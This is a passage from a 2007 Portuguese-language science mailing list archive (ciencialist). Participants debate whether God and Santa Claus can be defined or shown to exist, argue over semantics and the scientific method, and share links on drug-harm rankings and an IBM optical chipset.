> criador. É claro que esse enfoque acima esboçado é mais utilizado nas
> ciências da teologia, filosofia e metafísica, do que na ciência
basicamente
> experimental.
>
> []s
>
> José Renato
> ...............................................
>
> From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
> Sent: Thursday, March 22, 2007 5:10 PM
> Subject: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad
infinitum
>
>
> --- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@>
> > --- Pode chamar de realidade, sem problema, "chame do que quiser" só
> > não fique preso a esta semantica também. Use as semanticas, não
> > deixe elas te usarem.
>
> Não é questão de ficar preso à semântica. Como o Homero argumentou,
> palavras têm significado. Não convém ficar mudando o significado delas
> a torto e a direito. Se por exemplo, eu mudar o significado de "preso"
> para livre, a sua frase ficaria: "só não fique livre desta semântica"
> - o q seria exatamente o oposto do q vc deve ter pretendido querer
dizer.
>
> Ou se chamarmos um pedaço de madeira de mais ou menos 5 cm usado para
> retirar resíduos presos entre os dentes de deus, chamaremos palitos de
> dentes de deus e provaremos q deus existe. Só teremos q nos lembrar q
> esse deus é um palito de dentes e não um ser transcendente.
>
> Esse uso é possível, mas pouco prático. Serviria apenas para complicar
> a comunicação.
>
> A propriedade dessa realidade é material. Vc parece disposto a aceitar
> chamar seu deus de realidade (ou deus-realidade), mas não parece
> disposto a conferir a esse deus um caráter material. Logo, tenderá a
> haver problemas no seu uso da expressão.
>
> > Takata >>> Colocar a palavra deus na frente não traz
> > nenhuma informação.
> >
> > --- Mais ou menos, é um recurso semantico que espanta
> > o materialismo que os cientistas colocam na ciencia. A
> > vezes até demais. hehehehe...
>
> Como dito, não traz nenhuma informação.
>
> > --- Discordo. O problema não foi meter deus na
> > ciencia, foi meter um "dogma de deus", o que é bem
> > diferente. Deus não é dogma, assim como realidade
> > também não é.
>
> Foi meter deus no meio da ciência. Lembre-se de q o vc chama de deus é
> apenas um mapa mental.
>
> > Takata >>> Fazer ciência de modo bem resumido é
> > produzir conhecimento...
> >
> > --- E o que é conhecimento? E o que é produzir
> > conhecimento? Percebe como o cientista ignora a base
> > da ciencia? Ignora porque isto implica em
> > não-materialismo.
>
> Conhecimento é o entendimento a cerca das coisas q estão à nossa
> volta, do mundo. De modo mais preciso, mas mais abstrato, conhecimento
> é o conjunto de informações a respeito de um sistema - e informação é
> um dado q diminui o nosso grau de incerteza a respeito desse sistema.
>
> > Takata >>> Vc pulou pelo menos uma parte. Antes vc
> > precisa mostrar q isso é apenas um mapa mental.
> >
> > --- Ué, isto que vc me disse não é um produto do seu
> > pensamento? Ou vc é capaz de conhecer e transmitir o
> > que conhece sem pensar?
>
> Lamento, mas isso não mostra q seja apenas um mapa mental. No dia em q
> vc conseguir sobreviver apenas *pensando* em comida, acreditarei q é
> apenas um mapa mental.
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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico(Lógica 2)
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/03/2007 13:35

Na verdade eu errei, eu queria dizer na verdade:
(ponto p1) && (não ponto p1) = FALSO,
onde "&&" é o operador binário lógico "AND".
Se eu ponho "OR" a particula precisa estar apenas em
um lugar e não mostra o que eu quero dizer.
Takata, sua análise pressupõe que a partícula estará
APENAS no ponto p1 uma qtde de vezes ou APENAS no
ponto p2 uma qtde de vezes mas nunca em dois lugares
ao mesmo tempo. Se algo pode estar em dois lugares ao
mesmo tempo, temos uma tautologia de localização
espacial, portanto, não-falseável.


--- rmtakata <roberto.takata@bol.com.br> escreveu:

> --- Em ciencialist@yahoogrupos.com.br, Chicao
> Valadares
> > Na mecânica quântica existe a possibilidade de uma
> > mesma particula ocupar dois lugares distintos no
> mesmo
> > instante t.
>
> Essa possibilidade é traduzida em probabilidade de
> se encontrar uma
> dada partícula em um ponto p1 ou em um ponto p2 - na
> prática nunca
> iremos medir as partículas ao mm tempo em dois
> lugares distintos.
>
> Isso se traduz em uma proporção de resultados no
> ponto p1 e ponto p2
> qdo repetimos o experimento de medição várias vezes.
> Se a proporção
> estiver em desacordo com a teoria, ela é falseada.
>
> Por exemplo, se a MQ diz q o elétron pode estar tto
> na fenda 1 como na
> fenda 2 no mm instante t com a mm probabilidade,
> isso se traduz q
> deveremos encontrar o elétron cerca de 500 vezes na
> fenda 1 e outras
> 500 vezes na fenda 2, qdo o medimos 1.000 vezes. E
> mais do q isso,
> poderemos encontrar o padrão de interferência no
> experimento da dupla
> fenda.
>
> []s,
>
> Roberto Takata
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Um dos problemas da evidencia de deus são dois
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/03/2007 14:07

Olá Chicao!

Chicao >>> Bem que você poderia ter explanado esse
ponto de vista lá trás, pra evitar tamanha confusão.

--- Não poderia não. Mas pra vc entender porque eu não
poderia vc terá primeiro que entender o que é poder
(possibilidade). Mas isto só se vc puder.

Chicao >>> Responda-me o seguinte: Quem vem primeiro:
O ser ou a definição do ser???

--- Vc definiu ser, mas não definiu "vem primeiro".


sinceramente
ferrari




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SUBJECT: RE: [ciencialist] Um dos problemas da evidencia de deus são dois
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/03/2007 14:18

Olá Murilo!

murilo >>> Nessa vc matou!

--- Murilo, vc já ouviu isto aqui: "Me dê um ponto de
apoio e moverei o universo". Pois é, só não vê o ponto
de apoio quem insiste em ficar com os olhos fechados
no materialismo. Quem faz isto está contruindo seu
conhecimento na areia da práia. E a mecanica quantica
vem avisando: "olha a onda!".

Tenho uma musica que diz assim:

tudo indica
tudo aponta
mas ninguém vê
ou faz de conta


sinceramente
ferrari




--- murilo filo <avalanchedrive@hotmail.com> escreveu:

> Ferrari,
> bem?
> Nessa vc matou!
> Não é preciso sentir ou admitir, basta definir antes
> de acreditar.
> Já disse aquí: não sou ateu e o Deus dos padrecos
> não existe...
> As definições são pessoais... e não esperemos
> inteligência e honestidade
> puras de todos.
> As definições científicas podem até resvalar e se
> mesclar ( inspirar?) na
> filosofia. PQ não?
> Daquí a pouco dirão que o tema não ''é do escopo da
> lista.''
> abraço. Murilo SP 25/març07
>
>
> >From: Ferrari <emailferrari@yahoo.com.br>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: ciencialist@yahoogrupos.com.br
> >Subject: [ciencialist] Um dos problemas da
> evidencia de deus são dois
> >Date: Sun, 25 Mar 2007 10:18:28 -0300 (ART)
> >
> >Olá Jeff! Olá lista!
> >
> >Jeff: [ Cientistas sérios e sensatos não devem dar
> >atenção pra quem diz que tal coisa existe sem ter
> >evidências, não concorda? ]
> >
> >A dificuldade em se demonstrar a tal "evidencia de
> >deus" é muito simples: DEFINIÇÃO.
> >
> >Problema (1): Se vc não DEFINE o que é deus, como
> >posso lhe dar um evidencia?
> >
> >Vamos pegar o exemplo do papai-noel que o Homero
> vive
> >usando pra dizer que "não existe" e que o José
> Renato
> >observou tão bem "que existe". Porque eles
> divergem?
> >
> >Divergem porque possuem "definições diferentes" de
> >papai-noel. O fato das crianças ganharem presentes,
> >pro José Renato é uma evidencia do papai-noel, pois
> >SATISFAZ sua definição, já, pro Homero, o mesmo
> exato
> >fato (as crianças ganharem presente) não é
> evidencia
> >porra nenhuma, é papo furado, conversa
> anti-cientifca,
> >pois a definição que o Homero tem de papai-noel é
> >distinta da definição do José Renato, e ainda, o
> mesmo
> >fato não SATISFAZ sua definição.
> >
> >Analogamente, é isto que acontece com a tal
> "evidencia
> >de deus". O problema não está na evidencia, nunca
> >esteve, nunca estará: o problema está na definição.
> Ou
> >numa falta de definição, ou numa divergencia de
> >definição, etc... Podem existir milhões de
> evidencias,
> >fatos, mas se essas evidencias não SATISFIZEREM a
> >DEFINIÇÃO do investigador de nada adiantar
> demonstrar.
> >
> >Entende? Faz sentido?
> >
> >Mas como resolver este problema? Simples:
> DEFININDO.
> >Não é isto que a ciencia faz para se comunicar com
> >eficiencia? Primeiro a ciencia define, o metro, o
> >minuto, o litro, o mol, o atomo, o quantum, os
> cambau
> >e o caralhoaquatro e só depois começa a conversar
> >usando estas definições. Não é? Pois então, é
> preciso
> >definir o que é deus também, pra poder falar a
> >respeito. Hehehehehe... Mas é ai que a ciencia
> torce o
> >rabo. Porque?
> >
> >Problema (2): Porque antes de definir o que é deus
> a
> >ciencia tem que definir "o que é definir". Entende
> a
> >robada em que a ciencia não quer se meter? Definir
> o
> >que é definir é fazer metaciencia, é aplicar o
> método
> >cientifico em que o aplica: no cientista. A ciencia
> >materialista reluta em fazer isto, porque isto
> desloca
> >o seu referencia fixo da materia (materialismo)
> para o
> >tempo (possibilidade). Ou seja, assim a terra
> deixou
> >de se ser o centro do universo um dia, aplicar o
> >método cientifico em que o aplica (no cientista)
> faz
> >com que a matéria deixe de ser o centro absoluto do
> >universo e se torne relativo: relativo a observação
> >
> >Esta questão da "definição" é uma questão que
> aparece
> >e reaparece com muitas semanticas diferentes. Por
> >exemplo, "o que é medir?", "o que é observar?", "o
> que
> >é conhecimento?", "o que é fazer ciencia?". Todas
> >essas questões são a mesma questão, apenas com
> >enfoques diferentes, apenas com semanticas
> diferentes.
> >
> >
> >Ao meu ver, o "fazer ciencia", que é o que a
> maioria
> >dos cientistas fazem, é apenas o ofício da ciencia,
> e
> >está ligado a superficie da curiosidade cientifica.
> >Esta superficie, serve para manter o "fazer
> ciencia"
> >funcionando, contudo, não muda o "fazer ciencia",
> >apenas o mantém operante. Por outro lado, a
> >investigação "o que é fazer ciencia", é uma
> >investigação cientifica que muda (transforma) a
> >prática do "fazer ciencia", pois muda a base do
> "fazer
> >ciencia".
> >
> >Einstein, por exemplo, consciente disto ou não, não
> >"fez ciencia, ele investigou "o que é fazer
> ciencia".
> >Por isto que ele foi capaz de mudar a base do
> "fazer
> >ciencia". Para comprovar o que estou disendo, basta
> >observar que Einstein postulou uma NOVA DEFINIÇÃO
> DE
> >TEMPO. Ora, para redefinir o tempo Einstein
> precisou
> >investigar porque o tempo era definido como era,
> >quando sacou porque, percebeu algo que possibilitou
> >uma redefinição. O que Einsteim percebeu? Percebeu
> a
> >si mesmo: o observador.
> >
> >Concluindo, um dos problemas da evidencia de deus
> são
> >dois: definição e definição da definição.
> >
> >
> >sinceramente
> >ferrari
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SUBJECT: Re: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/03/2007 14:39

Olá Takata!

Takata >>> O fato das palavras poderem ser
polissêmicas é motivo para *acautelamento* em seus
usos e não um sinal de q então qq significado pode ser
dado.

--- Takata, vc está fugindo do ponto. Concordo com vc
que quanto maior a maestria do emissor no uso das
palavras, maior e masi eficaz fica a comunicação. O
que estou dizendo é que o receptor também precisa
desenvolver uma maestria na recepção. Entende o que
estou dizendo? Se o receptor for poliglota semantico
também aumenta a eficiencia da comunicação. Sendo
assim, apontei para a minha observação de que os
cientitas são péssimos receptores, só falam a lingua
deles mesmos, é olha lá, muitas vezes apenas usam os
significantes sem compreenção dos significados do
mesmo.

Takata >>> Chamar a realidade material de
deus-realidade não me parece q tenha um propósito
justificado.

--- Nada é o que parece.

Takata >>> Vc apagou a minha definição de informação.

--- Apaguei a parte que não importa neste momento, mas
mantive o essencial. Por isto deixei os tres
pontinhos. Voltando as perguntas:

Takata >>> Conhecimento é o entendimento...

--- E o que é entendimento?

Takata >>> Conhecimento é o conjunto de informações...

--- O que é informação?

Takata >>> Se tudo fosse apenas mapa mental (logo)
comida tb seria apenas mapa mental. Se comida fosse
apenas mapa mental (logo) eu podería me alimentar
apenas *pensando* em comida.

--- Sim, exatamente, mas isto apenas se:
--- Vc fosse a causa dos seus pensamentos
--- Mas como vc não é
--- Logo:
--- F.u.d.e.u



sinceramente
ferrari




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SUBJECT: Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/03/2007 15:43

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Sim, exatamente, mas isto apenas se:
> --- Vc fosse a causa dos seus pensamentos
> --- Mas como vc não é
> --- Logo:
> --- F.u.d.e.u

Dada a falta de educação por parte do interlocutor, considero
encerrada a discussão por minha parte.

[]s,

Roberto Takata



SUBJECT: Re: Chocolate poderia se tornar ilegal
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/03/2007 16:33

Álcool e fumo são piores que LSD, diz estudo
'Classificação feita por cientistas britânicos coloca bebida alcoólica
perto de heroína. Tabela leva em conta risco de dependência e
problemas sociais de cada droga.'
http://g1.globo.com/Noticias/Ciencia/0,,MUL13574-5603-71,00.html

VERDADES E MITOS SOBRE OS PERIGOS E O POTENCIAL DA MACONHA
http://g1.globo.com/Noticias/Ciencia/0,,AA1353394-5603,00.html

Nutt D, King LA, Saulsbury W, Blakemore C 2007 - Development of a
rational scale to assess the harm of drugs of potential misuse
The Lancet - 369: 1.047-53.

[]s,

Roberto Takata



SUBJECT: Downloads instantâneos!
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/03/2007 18:31

IDG Now! � Computa��o Corporativa � Processadores


IBM anuncia chipset �ptico que oferece downloads instant�neos
Por Ben Ames, para o IDG Now!*
Publicada em 26 de mar�o de 2007 �s 10h16
Boston - Com o componente, um filme que leva hoje 30 minutos para ser baixado, lever� um segundo. Tecnologia chega ao p�blico em 2010.

Pesquisadores da IBM apresentaram nesta segunda-feira (26/03) um prot�tipo de chipset de transceiver �ptico que permitir� que pessoas baixem filmes ou compartilhem dados pela internet com velocidade oito vezes maior que as atuais tecnologias permitem.

Transceiver � um dispositivo que recebe e envia dados por meio de ondas sem fio.

O chipset pode transportar dados a 160 Gbps (gigabits por segundo) ao representar informa��es de acordo com pulsos de luz em vez de el�trons, e poderia ser usado tanto para aplica��es corporativas quanto pessoais em 2010, disse a IBM.

A procura de consumidores por m�dias digitais como filmes, m�sicas e fotos causou uma explos�o do volume de transmiss�o de dados na Internet, e refor�ou a necessidade de maior banda e conectividade, disse T. C. Chen, vice-presidente de ci�ncia e tecnologia da IBM Research, em uma declara��o.

A IBM diz que pode suprir essa demanda, construindo o novo chipset com um transceiver �ptico com a tecnologia do padr�o CMOS (semicondutor de metal �xido complementar, na sigla em ingl�s), e combinando-o com componentes �pticos de materiais ex�ticos como o arsenieto de g�lio e um composto a base de f�sforo. O pacote final tem dimens�es de 3,25 por 5,25 mil�metros, pequeno o suficiente para ser integrado em uma placa de circuito.

Apesar dessas tecnologias j� existirem, provavelmente levar� pelo menos tr�s anos para que fornecedores possam produzir componentes em escala para que a IBM coloque os transceivers �pticos para sua linha de produtos.


*Ben Ames � rep�rter do IDG News Service, em Boston.

< http://idgnow.uol.com.br/computacao_corporativa/2007/03/26/idgnoticia.2007-03-26.0442987228 >

[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Papai Noel: Sobre o Método Cientifico - adinfinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/03/2007 21:17

Olá, Homero!
Creio que é possível diferenciar o que é imaginação ou fantasia do que é
aceito como real e ousamos chamar de realidade. No primeiro caso temos os
vários exemplos de como aparecem as lendas, como a do Papai Noel. Um senhor
se sentia feliz em distribuir presentes às crianças na noite de Natal. Os
resultados fizeram com que outros imitassem sua atitude. Para manter a
expectativa das crianças foram acrescentados fantasias imaginosas a essa
alegre distribuição, as quais se firmam ou se modificam com o passar dos
anos, de acordo com a cultura.
Faço outros comentários nesse sentido após os seus, no corpo do e-mail, após
JR -, OK?
...........................

From: "Oraculo" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, March 22, 2007 5:53 PM
Subject: Re: [ciencialist] Re: Papai Noel: Sobre o Método Cientifico -
adinfinitum


Olá Renato e Ferrari (que dupla..:-)

Renato: "Quando é que vc vai entender
que o Papai Noel existe? As crianças sabem disso...
Muitos adultos sabem disso... Afinal, quem é que lhes
dá presentes no Natal? Vou repetir: o que não existe é
o Papai Noel que vc imaginou quando criança. "

Ferrari: "Ei Homero, tá aqui um exemplo de inteligência que não
se prender a semântica."

Quase me arrependo de tentar, pois a conversa ficou completamente sem
sentido, absurda e incorreta. mas quem sabe, alguma luz acaba entrando
nessas mentes..:-)
Papai Noel não existe. Não existe, não tem evidências de existir. Pais e
mães que dão presentes NÃO são Papai Noel, que tem definição e propriedades
precisas. Não pode substituir um termo por outro, e achar que faz sentido,
Renato e Ferrari. Papai Noel não tem evidências de existir, assim como o Pé
Grande. Se descobrir que um gorila que escapou do circo foi confundido com
um Pé Grande, NÃO pode alegar que Pé Grande existe, por aproximação.
Putz, iso é tão absurdo, que dói..:-)

JR - O Papai Noel que mora no pólo Norte, que com ajuda de duendes trabalha
o ano todo para fazer os brinquedos, distribuídos na noite de Natal num
carro de renas que voa, etc. e etc. é pura fantasia infantil, inventada
pelos adultos para tapear as crianças. Não acredite nesse papai Noel. Esse
não existe.

Ferrari, chamar a realidade de deus ou deus de realidade é irracional. É
irracional por definição, pois esperamos reagir a partir de desdobramentos
das propriedades de cada objeto definido. Vou tentar, mais uma vez,
explicar, prestem atenção.
JR - Aconteceu algo semelhante com o conceito de Deus. Muitos adultos
agregaram suas fantasias e desejos ao gerador-mantenedor do Universo. Outros
usaram de comparações com coisas habituais e bem conhecidas em nossa vida
para tentar explicar Deus aos menos letrados. Uma ocorrência comum é o
adulto manter o Deus que foi lhe apresentado na infância até a velhice, sem
procurar reciclar a linguagem e ampliar o entendimento.

Uma pedra tem definição precisa, para que possamos agir em relação a ela com
certa segurança e previsibilidade. Se digo, "cuidado, uma pedra vai cair em
sua cabeça, você PRECISA saber do que estou falando, para agir. Se eu
disser, "cuidado uma pedra vai cair em sua cabeça", mas na verdade estou
usando as propriedades que definem uma pena de pardal, sua reação deve ser
diferente daquela que teria, se eu usasse o termo 'pedra" de acordo com sua
definição.

Se entenderam isso, vamos prosseguir. A realidade, da maneira como definida
pelo Takata, é uma coisa, com propriedades bem definidas. Deus, da forma
como definido pelos que acreditam em deus, também tem propriedades bem
definidas. Trocar esses dois termos, alegando que é uma questão "de
semântica" é mais que ilógico, é tolo. Reagimos a realidade de uma forma
completamente diferente da que reagimos a divindades, devido a suas
propriedades e características específicas.
JR - Qual são essas características específicas?

Divindades tem inteligência, intenção, desejos, preocupações, etc. São
entidades pessoais, que querem ou deixam de querer, que agem
INTENCIONALMENTE. Já a realidade não tem nenhuma dessas características, e
uma pedra é real, mas quando cai em sua cabeça, não tem NENHUMA intenção de
faze-lo.
JR - Acho que vc se confunde... Alguém pode largar uma pedra na cabeça de
quem passa embaixo de sua janela. A pedra vai fazer aquilo que ela é capaz:
cair. Pode acertar ou não. Se a *intenção* era de acertar e acertou foi
realizada por quem jogou, se não... Forçando o vocábulo podemos dizer que a
"intenção" da pedra é cair. Essa "intenção" já existe em *tudo* o que nos
rodeia e é a mesma se as condições são mantidas.

Defina Papai Noel, e eu demonstro que este não tem evidências de existir.
Defina pedra, e eu demonstro que tem evidências de existir. Ou melhor,
existem objetos que se encaixam nesta definição, pedra. Papai Noel visita
crianças, todas, na noite de Natal. Essa é uma propriedade definidora de
Papai Noel. Se não demonstrar que existe tal pessoa, que apresente essa
propriedade, não poderá afirmar que Papai Noel existe.
JR - Vc está apegado à fantasia infantil. Esqueça, fantasias são fantasias.
Na realidade é uma pessoa que se sente feliz em surpreender as crianças com
um presente na noite de Natal.
Meu filho tinha uns cinco anos quando chegou esbaforido com um amiguinho em
casa e perguntou à mãe: é verdade que papai Noel é o nosso pai? E a mãe
respondeu: é. E a mãe ficou contando a lenda do papai Noel aos dois
pequenos, que depois voltaram a brincar, já com novas informações. O
resultado disso foi que uns dois meses antes do Natal, meu filho pediu uma
bicicleta de presente e passou a colar em tudo quanto é lugar um aviso: "Não
esqueça da minha Caloi!".

É até bem simples, se pararem, os dois, de dizer maluquices e se focarem em
um debate minimamente racional.

Tente, Ferrari, diga qual é "sua" definição de deus, e verá que não vai
fazer sentido. Uma força não intencional, não é deus, por definição, pois
não tem nenhuma propriedade definidora nesse sentido. Seria o mesmo que orar
pela eletricidade, para que não nos fulmine com um raio..:-)

Ferrari: "Homero, quantas vezes vou ter que te dizer que
semântica é lógica são coisas distintas e que vc não é
obrigado a se prender a semântica nenhuma? Semântica
são ferramentas de comunicação. "

Você não faz a menor idéia do que está dizendo..:-) Não sabe nem o que é
semântica, muito menos o que é lógica. Nem, aparentemente, comunicação.

Como disse antes, seu discurso "sem semântica" e a conversa sem sentido de
um esquizofrênico, que "pensa" estar revelando verdades fantásticas, são
idênticos: ambos não fazem idéia do que dizem, nem os que os ouvem. Porque,
ao deixar a "semântica" e a lógica de lado, acabam em uma confusão de termos
e conceitos que nada significa: deus é tudo, tudo é deus, nada é tudo, deus
é nada, quem nada é peixe, deus é peixe, peixes tem espinhas, deus tem
espinhas, espinhas são deus, ad infinitum.
JR - As idéias são aprendidas na infância-adolescência. Se não houver um
esforço de contínua atualização, ampliação e aprofundamento do que foi
aprendido pode ocorrer uma danosa "cristalização" de conceitos.

E antes de dizer que "não faz sentido", por favor, deixe a semântica de
lado, não se deixe "usar por ela", tente entender a maravilha do que eu
disse, etc..:-)

Ferrari, deve ter "escutado" o galo cantar e não sabe onde, e pensa que
ignorar semântica é uma forma legítima e razoável de tentar se comunicar,
de forma que quem escuta interprete o que desejar. Bem, não é. Semântica
trata de significados, e estes são fundamentais para a comunicação. Sem
eles, nada faz sentido (como suas frases). Deo derete nadert feoitrenas
hdeiurede kdaopoer, enerp atrure. Entendeu?

Não? Ora, deixe a semântica de lado e se atenha ao que eu quis dizer, ora
bolas..:-) Se não conseguir, talvez comece a compreender seu, profundo,
problema com estas questões. Sem um significado bem definido, as "palavras"
que construí não valem nada.
JR - As palavras não têm significado absoluto igual para todos. Elas
descrevem a superfície de uma realidade que é múltipla, ampla e complexa.
Daí a permanente necessidade de atualizar o significado de vocábulos e
tentar definir limites de atuação em uma apresentação acadêmica-científica.
Para uma pessoa que está acostumado a ser a palavra final e definitiva da
verdade aos seus pupilos, esse novo enfoque vai requerer esforço especial
para remover as viseiras, abrir os olhos e ver as inúmeras perspectivas do
que chamamos comumente de realidade.

Um abraço.
Homero

Abraços
José Renato
..........................................

----- Original Message -----
From: Ferrari
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, March 22, 2007 4:14 PM
Subject: [ciencialist] Re: Papai Noel: Sobre o Método Cientifico -
adinfinitum

José renato >>> Homero! Quando é que vc vai entender
que o Papai Noel existe? As crianças sabem disso...
Muitos adultos sabem disso... Afinal, quem é que lhes
dá presentes no Natal? Vou repetir: o que não existe é
o Papai Noel que vc imaginou quando criança.

Ei homero, tá aqui um exemplo de inteligencia que não
se prender a semântica.

Parabéns JR!

sinceramente
papai Noel

--- José Renato <jrma@terra.com.br> escreveu:

> Homero; [ Da mesma forma como "pode ser que exista"
> Papai Noel, mas devido a
> falta de evidências dessa existência justifica que
> nos comportemos "como se
> não existisse" Papai Noel, também podemos nos
> comportar como se deus não
> existisse, em especial em ciência ou fazendo
> ciência. ]
>
...........................................................
>
> Olá, Homero! Quando é que vc vai entender que o
> Papai Noel existe? As
> crianças sabem disso... Muitos adultos sabem
> disso... Afinal, quem é que
> lhes dá presentes no Natal?
> Vou repetir: o que não existe é o Papai Noel que vc
> imaginou quando criança.
> O que existe são papais-noéis e mamães-noéis com a
> cara do papai e da mamãe,
> tios e tias-noéis, amigo-Noel, esposo e
> esposa-noéis... Esses existem e
> fazem a festa dos comerciantes no Natal. Perceba que
> o imaginado geralmente
> não corresponde à realidade ou nem tem existência
> física...
> O que é preciso fazer é adequar o nome à pessoa ou
> ao objeto da nossa
> imaginação.
> []s
> José Renato
> ................................
>
> From: "oraculo333" <oraculo@To:
> <ciencialist@yahoogrupos.com.br>
> Sent: Wednesday, March 21, 2007 9:43 PM
> Subject: [ciencialist] P/ Alvaro - : Sobre o Método
> Cientifico - adinfinitum
>
> Olá Alvaro
>
> Alvaro: "Em minha opinião, a melhor resposta de um
> cientista ou
> simpatizante, quando questionado sobre a existência
> de deus, é a
> seguinte: "Nunca vi evidência da existência nem da
> não-existência de
> deus, portando NÃO TENHO CONDIÇÕES DE AFIRMAR SE
> EXISTE OU NÃO.""

(apaguei o restante)



SUBJECT: Re: Papai Noel: Sobre o Método Cientifico - adinfinitum
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/03/2007 22:10

Olá Jose Renato

Renato: "Creio que é possível diferenciar o que é imaginação ou
fantasia do que é aceito como real e ousamos chamar de realidade."

Eu também acho. Mas, diferente de você, só vejo a ciência como
ferramenta capaz de dar confiabilidade a essa separação. Você, por
outro lado, parece pensar que basta seu "bom senso" e pode determinar
que Papai Noel, claro, é fantasia, mas papai do céu, não é.

Mas não pode. Não pode, e os que adoravam Zeus não podiam, os que
adoravam Quetozoacoatal não podiam, os que adoravam Tupã nõ podiam, etc.

Todas as crenças alheias são fantasias, e as nossas realidade. Nossa
diferença é que considero a SUA crença também uma fantasia.

Renato: "No primeiro caso temos os vários exemplos de como aparecem as
lendas, como a do Papai Noel."

Em outro caso, papai do céu, ou Zeus, ou Odin, ou forças da escuridão,
ou qualquer outra criatura imaginária, foi gerada, e é igualmente uma
fantasia, a não se que possa apresentar evidências do contrário (e não
valem tolices como "eu existo, então deus existe").

Renato: "Faço outros comentários nesse sentido após os seus, no corpo
do e-mail, após JR, ok?"

Não, não faça, por favor. Há um limite para discutir bobagens
esotéricas, e eu atingi o meu com as intervenções do Ferrari..:-) Não
dá mais, sinto muito. É maluquice e falta de sentido demais para mim,
e não é assunto para esta lista.

Sugiro que continue este, produtivo, debate com o Ferrari, e veja quem
tem o papai do céu mais sacudo que o do outro. Eu finalizo aqui, por
absoluta falta de sentido, lógica e racionalidade neste debate.

Um abraço.

Homero



--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, Homero!
> Creio que é possível diferenciar o que é imaginação ou fantasia do
que é
> aceito como real e ousamos chamar de realidade. No primeiro caso
temos os
> vários exemplos de como aparecem as lendas, como a do Papai Noel. Um
senhor
> se sentia feliz em distribuir presentes às crianças na noite de
Natal. Os
> resultados fizeram com que outros imitassem sua atitude. Para manter a
> expectativa das crianças foram acrescentados fantasias imaginosas a
essa
> alegre distribuição, as quais se firmam ou se modificam com o passar
dos
> anos, de acordo com a cultura.
> Faço outros comentários nesse sentido após os seus, no corpo do
e-mail, após
> JR -, OK?
> ...........................
>
> From: "Oraculo" <oraculo@To: <ciencialist@yahoogrupos.com.br>
> Sent: Thursday, March 22, 2007 5:53 PM
> Subject: Re: [ciencialist] Re: Papai Noel: Sobre o Método Cientifico -
> adinfinitum
>
>
> Olá Renato e Ferrari (que dupla..:-)
>
> Renato: "Quando é que vc vai entender
> que o Papai Noel existe? As crianças sabem disso...
> Muitos adultos sabem disso... Afinal, quem é que lhes
> dá presentes no Natal? Vou repetir: o que não existe é
> o Papai Noel que vc imaginou quando criança. "
>
> Ferrari: "Ei Homero, tá aqui um exemplo de inteligência que não
> se prender a semântica."
>
> Quase me arrependo de tentar, pois a conversa ficou completamente sem
> sentido, absurda e incorreta. mas quem sabe, alguma luz acaba entrando
> nessas mentes..:-)
> Papai Noel não existe. Não existe, não tem evidências de existir. Pais e
> mães que dão presentes NÃO são Papai Noel, que tem definição e
propriedades
> precisas. Não pode substituir um termo por outro, e achar que faz
sentido,
> Renato e Ferrari. Papai Noel não tem evidências de existir, assim
como o Pé
> Grande. Se descobrir que um gorila que escapou do circo foi
confundido com
> um Pé Grande, NÃO pode alegar que Pé Grande existe, por aproximação.
> Putz, iso é tão absurdo, que dói..:-)
>
> JR - O Papai Noel que mora no pólo Norte, que com ajuda de duendes
trabalha
> o ano todo para fazer os brinquedos, distribuídos na noite de Natal num
> carro de renas que voa, etc. e etc. é pura fantasia infantil, inventada
> pelos adultos para tapear as crianças. Não acredite nesse papai
Noel. Esse
> não existe.
>
> Ferrari, chamar a realidade de deus ou deus de realidade é irracional. É
> irracional por definição, pois esperamos reagir a partir de
desdobramentos
> das propriedades de cada objeto definido. Vou tentar, mais uma vez,
> explicar, prestem atenção.
> JR - Aconteceu algo semelhante com o conceito de Deus. Muitos adultos
> agregaram suas fantasias e desejos ao gerador-mantenedor do
Universo. Outros
> usaram de comparações com coisas habituais e bem conhecidas em nossa
vida
> para tentar explicar Deus aos menos letrados. Uma ocorrência comum é o
> adulto manter o Deus que foi lhe apresentado na infância até a
velhice, sem
> procurar reciclar a linguagem e ampliar o entendimento.
>
> Uma pedra tem definição precisa, para que possamos agir em relação a
ela com
> certa segurança e previsibilidade. Se digo, "cuidado, uma pedra vai
cair em
> sua cabeça, você PRECISA saber do que estou falando, para agir. Se eu
> disser, "cuidado uma pedra vai cair em sua cabeça", mas na verdade estou
> usando as propriedades que definem uma pena de pardal, sua reação
deve ser
> diferente daquela que teria, se eu usasse o termo 'pedra" de acordo
com sua
> definição.
>
> Se entenderam isso, vamos prosseguir. A realidade, da maneira como
definida
> pelo Takata, é uma coisa, com propriedades bem definidas. Deus, da forma
> como definido pelos que acreditam em deus, também tem propriedades bem
> definidas. Trocar esses dois termos, alegando que é uma questão "de
> semântica" é mais que ilógico, é tolo. Reagimos a realidade de uma forma
> completamente diferente da que reagimos a divindades, devido a suas
